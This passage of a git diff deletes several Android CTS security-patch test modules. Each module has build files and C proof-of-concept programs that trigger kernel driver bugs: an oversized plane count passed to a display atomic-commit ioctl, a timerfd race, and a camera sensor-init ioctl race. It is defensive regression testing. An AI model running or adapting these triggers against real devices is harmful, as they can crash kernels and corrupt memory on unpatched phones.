-  ret = ioctl(fd, MDSS_ROTATION_REQUEST, &req);
-
-  failed:
-    close(fd);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk b/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
deleted file mode 100644
index b3dec07..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35950805
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h b/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h
deleted file mode 100644
index 4988225..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h
+++ /dev/null
@@ -1,293 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir, type, nr, size)                          \
-  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
-   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-/* used to create numbers */
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
-  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
-  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
-  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-
-#define MSMFB_IOCTL_MAGIC 'm'
-
-struct mdp_pp_feature_version {
-  uint32_t pp_feature;
-  uint32_t version_info;
-};
-#define MSMFB_MDP_PP_GET_FEATURE_VERSION \
-  _IOWR(MSMFB_IOCTL_MAGIC, 171, struct mdp_pp_feature_version)
-
-struct fb_cmap_user {
-  __u32 start; /* First entry	*/
-  __u32 len;   /* Number of entries */
-  __u16 *red;  /* Red values	*/
-  __u16 *green;
-  __u16 *blue;
-  __u16 *transp; /* transparency, can be NULL */
-};
-#define FBIOPUTCMAP 0x4605
-
-/* QSEED3 LUT sizes */
-#define DIR_LUT_IDX 1
-#define DIR_LUT_COEFFS 200
-#define CIR_LUT_IDX 9
-#define CIR_LUT_COEFFS 60
-#define SEP_LUT_IDX 10
-#define SEP_LUT_COEFFS 60
-
-struct mdp_scale_luts_info {
-  uint64_t dir_lut;
-  uint64_t cir_lut;
-  uint64_t sep_lut;
-  uint32_t dir_lut_size;
-  uint32_t cir_lut_size;
-  uint32_t sep_lut_size;
-};
-
-struct mdp_set_cfg {
-  uint64_t flags;
-  uint32_t len;
-  uint64_t payload;
-};
-#define MDP_QSEED3_LUT_CFG 0x1
-
-#define MDP_IOCTL_MAGIC 'S'
-#define MSMFB_MDP_SET_CFG _IOW(MDP_IOCTL_MAGIC, 130, struct mdp_set_cfg)
-
-#define MDP_LAYER_COMMIT_V1_PAD 4
-
-struct mdp_rect {
-  uint32_t x;
-  uint32_t y;
-  uint32_t w;
-  uint32_t h;
-};
-
-enum mdss_mdp_blend_op {
-  BLEND_OP_NOT_DEFINED = 0,
-  BLEND_OP_OPAQUE,
-  BLEND_OP_PREMULTIPLIED,
-  BLEND_OP_COVERAGE,
-  BLEND_OP_MAX,
-};
-
-enum mdp_color_space {
-  MDP_CSC_ITU_R_601,
-  MDP_CSC_ITU_R_601_FR,
-  MDP_CSC_ITU_R_709,
-};
-
-struct mdp_layer_plane {
-  /* DMA buffer file descriptor information. */
-  int fd;
-
-  /* Pixel offset in the dma buffer. */
-  uint32_t offset;
-
-  /* Number of bytes in one scan line including padding bytes. */
-  uint32_t stride;
-};
-
-#define MAX_PLANES 4
-
-struct mult_factor {
-  uint32_t numer;
-  uint32_t denom;
-};
-struct mdp_layer_buffer {
-  uint32_t width;
-  uint32_t height;
-  uint32_t format;
-
-  /* plane to hold the fd, offset, etc for all color components */
-  struct mdp_layer_plane planes[MAX_PLANES];
-
-  /* valid planes count in layer planes list */
-  uint32_t plane_count;
-
-  /* compression ratio factor, value depends on the pixel format */
-  struct mult_factor comp_ratio;
-
-  /*
-   * SyncFence associated with this buffer. It is used in two ways.
-   *
-   * 1. Driver waits to consume the buffer till producer signals in case
-   * of primary and external display.
-   *
-   * 2. Writeback device uses buffer structure for output buffer where
-   * driver is producer. However, client sends the fence with buffer to
-   * indicate that consumer is still using the buffer and it is not ready
-   * for new content.
-   */
-  int fence;
-
-  /* 32bits reserved value for future usage. */
-  uint32_t reserved;
-};
-
-struct mdp_input_layer {
-  uint32_t flags;
-  uint32_t pipe_ndx;
-  uint8_t horz_deci;
-  uint8_t vert_deci;
-  uint8_t alpha;
-  uint16_t z_order;
-  uint32_t transp_mask;
-  uint32_t bg_color;
-
-  /* blend operation defined in "mdss_mdp_blend_op" enum. */
-  enum mdss_mdp_blend_op blend_op;
-
-  /* color space of the source */
-  enum mdp_color_space color_space;
-
-  struct mdp_rect src_rect;
-
-  /*
-   * Destination rectangle, the position and size of image on screen.
-   * This should always be within panel boundaries.
-   */
-  struct mdp_rect dst_rect;
-
-  /* Scaling parameters. */
-  void __user *scale;
-
-  /* Buffer attached with each layer. Device uses it for commit call. */
-  struct mdp_layer_buffer buffer;
-
-  void __user *pp_info;
-  int error_code;
-  uint32_t reserved[6];
-};
-
-struct mdp_output_layer {
-  /*
-   * Flag to enable/disable properties for layer configuration. Refer
-   * layer flag config section for all possible flags.
-   */
-  uint32_t flags;
-
-  /*
-   * Writeback destination selection for output. Client provides the index
-   * in validate and commit call.
-   */
-  uint32_t writeback_ndx;
-
-  /* Buffer attached with output layer. Device uses it for commit call */
-  struct mdp_layer_buffer buffer;
-
-  /* color space of the destination */
-  enum mdp_color_space color_space;
-
-  /* 32bits reserved value for future usage. */
-  uint32_t reserved[5];
-};
-
-struct mdp_layer_commit_v1 {
-  uint32_t flags;
-  int release_fence;
-  struct mdp_rect left_roi;
-  struct mdp_rect right_roi;
-  struct mdp_input_layer __user *input_layers;
-
-  /* Input layer count present in input list */
-  uint32_t input_layer_cnt;
-
-  struct mdp_output_layer __user *output_layer;
-
-  int retire_fence;
-  void __user *dest_scaler;
-  uint32_t dest_scaler_cnt;
-
-  uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
-};
-
-struct mdp_layer_commit {
-  /*
-   * 32bit version indicates the commit structure selection
-   * from union. Lower 16bits indicates the minor version while
-   * higher 16bits indicates the major version. It selects the
-   * commit structure based on major version selection. Minor version
-   * indicates that reserved fields are in use.
-   *
-   * Current supported version is 1.0 (Major:1 Minor:0)
-   */
-  uint32_t version;
-  union {
-    /* Layer commit/validate definition for V1 */
-    struct mdp_layer_commit_v1 commit_v1;
-  };
-};
-
-#define MDP_IOCTL_MAGIC 'S'
-/* atomic commit ioctl used for validate and commit request */
-#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
-
-#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/poc.c b/hostsidetests/security/securityPatch/Bug-35950805/poc.c
deleted file mode 100644
index dd5379b..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950805/poc.c
+++ /dev/null
@@ -1,71 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <unistd.h>
-#include <string.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include "local_poc.h"
-
-int main(int argc, char **argv) {
-  int ret, i, count;
-  int fd;
-  struct mdp_layer_commit commit;
-  struct mdp_output_layer output_layer;
-
-  fd = open("/dev/graphics/fb2", O_RDWR, 0);
-  if (fd < 0) {
-    return -1;
-  }
-
-  output_layer.buffer.plane_count = 1;
-  output_layer.writeback_ndx = 1;
-  commit.commit_v1.output_layer = &output_layer;
-
-  commit.commit_v1.input_layer_cnt = 0;
-  commit.version = 0x00010000;
-  commit.commit_v1.flags = 0x01;
-
-  ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
-  if (ret < 0) {
-    printf("err:%s\n", strerror(errno));
-  }
-
-  output_layer.buffer.plane_count = 0x00FFFFFF;
-  commit.commit_v1.output_layer = &output_layer;
-
-  commit.commit_v1.input_layer_cnt = 0;
-  commit.version = 0x00010000;
-  commit.commit_v1.flags = 0;
-
-  ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
-  if (ret < 0) {
-    printf("err:%s\n", strerror(errno));
-  }
-
-  close(fd);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
deleted file mode 100644
index be220a5..0000000
--- a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-36266767
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/poc.c b/hostsidetests/security/securityPatch/Bug-36266767/poc.c
deleted file mode 100644
index e534054..0000000
--- a/hostsidetests/security/securityPatch/Bug-36266767/poc.c
+++ /dev/null
@@ -1,72 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/timerfd.h>
-#include <sys/time.h>
-#include <time.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <signal.h>
-
-#define THREAD_NUM    2
-
-pthread_t thread_id[THREAD_NUM+1] = { 0 };
-int thread_ret[THREAD_NUM] = { 0 };
-int fd;
-struct itimerspec new_value;
-
-void* child_ioctl_0(void* no_use)
-{
-    int ret = 1;
-
-    while(1){
-        timerfd_settime(fd, 0x3, &new_value, NULL);
-        timerfd_settime(fd, 0x0, &new_value, NULL);
-    }
-}
-
-int main(int argc, char *argv[])
-{
-    int i;
-    new_value.it_value.tv_sec = 0;
-    new_value.it_value.tv_nsec = 0;
-    new_value.it_interval.tv_sec = 0;
-    new_value.it_interval.tv_nsec = 0;
-
-    fd = timerfd_create(CLOCK_REALTIME, 0);
-
-    /* create thread */
-    for(i = 0; i < THREAD_NUM; i = i+1) {
-        thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
-    }
-
-    while(1) {
-        fd = timerfd_create(CLOCK_REALTIME, 0);
-        usleep(5);
-        close(fd);
-    }
-}
diff --git a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
deleted file mode 100644
index d2a91be..0000000
--- a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-36492827
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36492827/poc.c b/hostsidetests/security/securityPatch/Bug-36492827/poc.c
deleted file mode 100644
index c435700..0000000
--- a/hostsidetests/security/securityPatch/Bug-36492827/poc.c
+++ /dev/null
@@ -1,315 +0,0 @@
-/**

- * Copyright (C) 2017 The Android Open Source Project

- *

- * Licensed under the Apache License, Version 2.0 (the "License");

- * you may not use this file except in compliance with the License.

- * You may obtain a copy of the License at

- *

- *      http://www.apache.org/licenses/LICENSE-2.0

- *

- * Unless required by applicable law or agreed to in writing, software

- * distributed under the License is distributed on an "AS IS" BASIS,

- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

- * See the License for the specific language governing permissions and

- * limitations under the License.

- */

-

-#ifndef _GNU_SOURCE

-#define _GNU_SOURCE

-#endif

-

-#include <string.h>

-

-#include <android/log.h>

-#include <dirent.h>

-#include <dlfcn.h>

-#include <errno.h>

-#include <fcntl.h>

-#include <linux/futex.h>

-#include <pthread.h>

-#include <sched.h>

-#include <signal.h>

-#include <stdbool.h>

-#include <stdio.h>

-#include <stdlib.h>

-#include <sys/ioctl.h>

-#include <sys/mman.h>

-#include <sys/mount.h>

-#include <sys/ptrace.h>

-#include <sys/select.h>

-#include <sys/socket.h>

-#include <sys/stat.h>

-#include <sys/syscall.h>

-#include <sys/system_properties.h>

-#include <sys/time.h>

-#include <sys/types.h>

-#include <sys/un.h>

-#include <sys/utsname.h>

-#include <sys/wait.h>

-#include <unistd.h>

-

-#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))

-typedef signed char s8;

-typedef unsigned char u8;

-

-typedef signed short s16;

-typedef unsigned short u16;

-

-typedef signed int s32;

-typedef unsigned int u32;

-

-typedef signed long long s64;

-typedef unsigned long long u64;

-

-#define MAX_SENSOR_NAME 32

-#define MAX_POWER_CONFIG 12

-

-enum sensor_sub_module_t {

-  SUB_MODULE_SENSOR,

-  SUB_MODULE_CHROMATIX,

-  SUB_MODULE_ACTUATOR,

-  SUB_MODULE_EEPROM,

-  SUB_MODULE_LED_FLASH,

-  SUB_MODULE_STROBE_FLASH,

-  SUB_MODULE_CSID,

-  SUB_MODULE_CSID_3D,

-  SUB_MODULE_CSIPHY,

-  SUB_MODULE_CSIPHY_3D,

-  SUB_MODULE_OIS,

-  SUB_MODULE_EXT,

-  SUB_MODULE_MAX,

-};

-

-enum msm_sensor_init_cfg_type_t {

-  CFG_SINIT_PROBE,

-  CFG_SINIT_PROBE_DONE,

-  CFG_SINIT_PROBE_WAIT_DONE,

-};

-

-enum camb_position_t {

-  BACK_CAMERA_B,

-  FRONT_CAMERA_B,

-  AUX_CAMERA_B = 0x100,

-  INVALID_CAMERA_B,

-};

-

-enum msm_sensor_camera_id_t {

-  CAMERA_0,

-  CAMERA_1,

-  CAMERA_2,

-  CAMERA_3,

-  MAX_CAMERAS,

-};

-

-enum i2c_freq_mode_t {

-  I2C_STANDARD_MODE,

-  I2C_FAST_MODE,

-  I2C_CUSTOM_MODE,

-  I2C_CUSTOM1_MODE,

-  I2C_CUSTOM2_MODE,

-  I2C_FAST_PLUS_MODE,

-  I2C_MAX_MODES,

-};

-

-enum msm_camera_i2c_reg_addr_type {

-  MSM_CAMERA_I2C_BYTE_ADDR = 1,

-  MSM_CAMERA_I2C_WORD_ADDR,

-  MSM_CAMERA_I2C_3B_ADDR,

-  MSM_CAMERA_I2C_ADDR_TYPE_MAX,

-};

-

-enum msm_sensor_power_seq_type_t {

-  SENSOR_CLK,

-  SENSOR_GPIO,

-  SENSOR_VREG,

-  SENSOR_I2C_MUX,

-  SENSOR_I2C,

-};

-

-enum msm_sensor_output_format_t {

-  MSM_SENSOR_BAYER,

-  MSM_SENSOR_YCBCR,

-  MSM_SENSOR_META,

-};

-

-struct msm_sensor_init_params {

-  /* mask of modes supported: 2D, 3D */

-  int modes_supported;

-  /* sensor position: front, back */

-  enum camb_position_t position;

-  /* sensor mount angle */

-  unsigned int sensor_mount_angle;

-};

-

-struct msm_sensor_id_info_t {

-  unsigned short sensor_id_reg_addr;

-  unsigned short sensor_id;

-  unsigned short sensor_id_mask;

-};

-

-struct msm_sensor_power_setting {

-  enum msm_sensor_power_seq_type_t seq_type;

-  unsigned short seq_val;

-  long config_val;

-  unsigned short delay;

-  void *data[10];

-};

-

-struct msm_sensor_power_setting_array {

-  struct msm_sensor_power_setting power_setting_a[MAX_POWER_CONFIG];

-  struct msm_sensor_power_setting *power_setting;

-  unsigned short size;

-  struct msm_sensor_power_setting power_down_setting_a[MAX_POWER_CONFIG];

-  struct msm_sensor_power_setting *power_down_setting;

-  unsigned short size_down;

-};

-

-struct msm_sensor_info_t {

-  char sensor_name[MAX_SENSOR_NAME];

-  uint32_t session_id;

-  int32_t subdev_id[SUB_MODULE_MAX];

-  int32_t subdev_intf[SUB_MODULE_MAX];

-  uint8_t is_mount_angle_valid;

-  uint32_t sensor_mount_angle;

-  int modes_supported;

-  enum camb_position_t position;

-};

-

-struct msm_camera_sensor_slave_info {

-  char sensor_name[32];

-  char eeprom_name[32];

-  char actuator_name[32];

-  char ois_name[32];

-  char flash_name[32];

-  enum msm_sensor_camera_id_t camera_id;

-  unsigned short slave_addr;

-  enum i2c_freq_mode_t i2c_freq_mode;

-  enum msm_camera_i2c_reg_addr_type addr_type;

-  struct msm_sensor_id_info_t sensor_id_info;

-  struct msm_sensor_power_setting_array power_setting_array;

-  unsigned char is_init_params_valid;

-  struct msm_sensor_init_params sensor_init_params;

-  enum msm_sensor_output_format_t output_format;

-};

-

-struct sensor_init_cfg_data {

-  enum msm_sensor_init_cfg_type_t cfgtype;

-  struct msm_sensor_info_t probed_info;

-  char entity_name[MAX_SENSOR_NAME];

-  union {

-    void *setting;

-  } cfg;

-};

-

-typedef s16 compat_short_t;

-typedef s32 compat_int_t;

-typedef s32 compat_long_t;

-typedef s64 compat_s64;

-typedef u16 compat_ushort_t;

-typedef u32 compat_uint_t;

-typedef u32 compat_ulong_t;

-typedef u64 compat_u64;

-typedef u32 compat_uptr_t;

-

-struct msm_sensor_power_setting32 {

-  enum msm_sensor_power_seq_type_t seq_type;

-  uint16_t seq_val;

-  compat_uint_t config_val;

-  uint16_t delay;

-  compat_uptr_t data[10];

-};

-

-struct msm_sensor_power_setting_array32 {

-  struct msm_sensor_power_setting32 power_setting_a[MAX_POWER_CONFIG];

-  compat_uptr_t power_setting;

-  uint16_t size;

-  struct msm_sensor_power_setting32 power_down_setting_a[MAX_POWER_CONFIG];

-  compat_uptr_t power_down_setting;

-  uint16_t size_down;

-};

-

-struct msm_camera_sensor_slave_info32 {

-  char sensor_name[32];

-  char eeprom_name[32];

-  char actuator_name[32];

-  char ois_name[32];

-  char flash_name[32];

-  enum msm_sensor_camera_id_t camera_id;

-  uint16_t slave_addr;

-  enum i2c_freq_mode_t i2c_freq_mode;

-  enum msm_camera_i2c_reg_addr_type addr_type;

-  struct msm_sensor_id_info_t sensor_id_info;

-  struct msm_sensor_power_setting_array32 power_setting_array;

-  uint8_t is_init_params_valid;

-  struct msm_sensor_init_params sensor_init_params;

-  enum msm_sensor_output_format_t output_format;

-};

-

-#define BASE_VIDIOC_PRIVATE 192

-#define VIDIOC_MSM_SENSOR_INIT_CFG \

-  _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct sensor_init_cfg_data)

-

-struct msm_camera_sensor_slave_info32 slave_info;

-int fd;

-

-static void *raceCondition(void *param) {

-  while (1) {

-    memset(&slave_info, 'A', sizeof(slave_info));

-    usleep(50);

-  }

-}

-

-static void *normalfunc(void *param) {

-  while (1) {

-    struct sensor_init_cfg_data cfg;

-    cfg.cfgtype = CFG_SINIT_PROBE;

-

-    cfg.cfg.setting = &slave_info;

-    slave_info.camera_id = CAMERA_2;

-    slave_info.power_setting_array.size = 1;

-

-    struct msm_sensor_power_setting power_setting;

-

-    slave_info.power_setting_array.size_down = MAX_POWER_CONFIG;

-

-    struct msm_sensor_power_setting pd[MAX_POWER_CONFIG];

-    slave_info.power_setting_array.power_down_setting = 0;

-

-    slave_info.eeprom_name[31] = 0;

-    slave_info.actuator_name[31] = 0;

-    slave_info.ois_name[31] = 0;

-    slave_info.sensor_name[31] = 0;

-    slave_info.flash_name[31] = 0;

-    slave_info.i2c_freq_mode = 0x0;

-    int ret = ioctl(fd, VIDIOC_MSM_SENSOR_INIT_CFG, &cfg);

-  }

-}

-

-int function1() {

-  char filename[32] = {0};

-  for (int i = 0; i < 32; i++) {

-    if (snprintf(filename, sizeof(filename), "/dev/v4l-subdev%d", i) < 0) {

-      exit(EXIT_FAILURE);

-    }

-

-    fd = open(filename, 2);

-    if (fd < 0) {

-      continue;

-    }

-

-    pthread_t raceConditionthread;

-    for (int i = 0; i < 1; i++) {

-      if (pthread_create(&raceConditionthread, NULL, raceCondition, NULL))

-        perror("raceConditionthread raceConditionthread()");

-    }

-

-    pthread_t normalthread;

-    for (int i = 0; i < 3; i++) {

-      if (pthread_create(&normalthread, NULL, normalfunc, NULL))

-        perror("normalfunc normalfunc()");

-    }

-  }

-  return 0;

-}

-

-int main(int argc, char **argv, char **env) { return function1(); }

diff --git a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
deleted file mode 100644
index e70c2aa..0000000
--- a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-36591162
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/poc.c b/hostsidetests/security/securityPatch/Bug-36591162/poc.c
deleted file mode 100644
index 33ee5f6..0000000
--- a/hostsidetests/security/securityPatch/Bug-36591162/poc.c
+++ /dev/null
@@ -1,89 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/ioctl.h>
-#include <sys/mount.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <pthread.h>
-#include <stddef.h>
